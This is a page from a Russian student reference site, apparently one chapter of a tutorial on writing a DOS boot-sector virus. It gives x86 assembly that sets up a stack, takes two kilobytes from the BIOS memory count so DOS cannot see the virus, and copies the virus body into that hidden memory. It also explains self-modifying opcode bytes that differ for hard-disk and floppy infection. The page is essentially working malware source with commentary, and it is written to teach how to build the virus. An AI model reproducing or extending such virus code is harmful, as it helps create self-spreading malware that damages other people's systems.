Студопедия

КАТЕГОРИИ:


Архитектура-(3434)Астрономия-(809)Биология-(7483)Биотехнологии-(1457)Военное дело-(14632)Высокие технологии-(1363)География-(913)Геология-(1438)Государство-(451)Демография-(1065)Дом-(47672)Журналистика и СМИ-(912)Изобретательство-(14524)Иностранные языки-(4268)Информатика-(17799)Искусство-(1338)История-(13644)Компьютеры-(11121)Косметика-(55)Кулинария-(373)Культура-(8427)Лингвистика-(374)Литература-(1642)Маркетинг-(23702)Математика-(16968)Машиностроение-(1700)Медицина-(12668)Менеджмент-(24684)Механика-(15423)Науковедение-(506)Образование-(11852)Охрана труда-(3308)Педагогика-(5571)Полиграфия-(1312)Политика-(7869)Право-(5454)Приборостроение-(1369)Программирование-(2801)Производство-(97182)Промышленность-(8706)Психология-(18388)Религия-(3217)Связь-(10668)Сельское хозяйство-(299)Социология-(6455)Спорт-(42831)Строительство-(4793)Торговля-(5050)Транспорт-(2929)Туризм-(1568)Физика-(3942)Философия-(17015)Финансы-(26596)Химия-(22929)Экология-(12095)Экономика-(9961)Электроника-(8441)Электротехника-(4623)Энергетика-(12629)Юриспруденция-(1492)Ядерная техника-(1748)

Вирус получает управление




Начало работы

Как начинается распространение вируса

В отличие от файловых вирусов, для внедрения загрузочного вируса в компьютер достаточно просто попробовать загрузиться с зараженной дискеты, при этом дискета не обязательно должна быть загрузочной. В этом состоит особенность вирусов этого типа. Итак, чтобы вирус начал распространяться, достаточно заразить им гибкий диск, а потом попытаться загрузиться с него на той или иной машине.

Как и прежде,будем разрабатывать загрузочный вирус в виде COM-программы. Поэтому:

prg segment assume cs:prg,ds:prg,es:prg,ss:prg org 100h

Как вы уже знаете,загрузочный вирус получает управление только при загрузке операционной системы. Далее он должен " отрезать " у DOS несколько килобайтов памяти и переписать свой код в полученную область. Для выполнения этих функций можно предложить такой фрагмент:

my_prg: xor ax,ax; mov ss,ax; mov sp,7bfeh;Установка собс-;твенного стека push ax;Сохраним в сте- push bx;ке используемые push cx;регистры push dx; push si; push ds; push es; pushf;; push cs;DS = CS pop ds;; sub word ptr ds:[0413h],2;"Отрежем" у DOS mov ax,ds:[0413h];два килобайта mov cl,6;памяти и вычис-;лим sal ax,cl;сегментный ад-;рес,по которому;находится полу-;ченный блок mov es,ax;Поместим адрес;в ES xor si,si;И скопируем код mov cx,prg_lenght;вируса длиной prg_copy: db 8ah;"prg_lenght" в db 9ch;память по адре- additor db 00h;су ES: 0000h db 7ch;Сам код при за- mov byte ptr es:[si],bl;грузке помещае- inc si;тся BIOS по ад- loop cs:prg_copy;ресу 0000:7C00h; push ax;Запишем в стек mov ax,to_read_boot;адрес ES:to_re- push ax;ad_boot и осу- db 0cbh;ществим переход;на этот адрес

Поскольку операционная система к моменту начала выполнения этого фрагмента еще не загружена, "увести" у вычислительной системы два килобайта памяти не предсталяет никакого труда. Для этого просто следует уменьшить на два число,расположенное в области данных BIOS по адресу: 0000:0413h. Загрузившись, операционная система просто не будет замечать занятую вирусом память. Даже такие программы, как RELEASE или Volkov Commander (нажмите ALT + F5) не помогут обнаружить, где именно "притаился" вирус (правда, это не так трудно рассчитать, но для рядового " юзера " такая задача непосильна).

Машинный код

db 8ah; db 9ch; additor db 00h; db 7ch;

является кодом команды: "mov bl, byte ptr [si + 7C00h]" и модифицируется в зависимости от того, что именно удалось заразить вирусу - если загрузка происходит с винчестера, то код будет иметь вид:

db 8ah; db 9ch; additor db 00h; db 7ch;

а если с дискеты:

db 8ah; db 9ch; additor db 55h; db 7ch;

Дело в том, что в MBR жесткого диска тело вируса располагается по смещению 0000h от начала сектора, а в BOOT - записи дискеты это же смещение равно 0055h (см. п. 1.11).При заражении того или иного диска вирус определяет необходимое значение поля "additor", которое потом будет записано в загрузочный сектор. Команда " ret far " для краткости записана в виде машинного кода 0CBh.

Идея установки собственного стека заимствована из настоящей MBR жесткого диска. Если оставить стек "как есть", то в некоторых случаях система будет зависать при загрузке - проверено на практике!




Поделиться с друзьями:


Дата добавления: 2014-11-20; Просмотров: 387; Нарушение авторских прав?; Мы поможем в написании вашей работы!


Нам важно ваше мнение! Был ли полезен опубликованный материал? Да | Нет



studopedia.su - Студопедия (2013 - 2024) год. Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав! Последнее добавление




Генерация страницы за: 0.011 сек.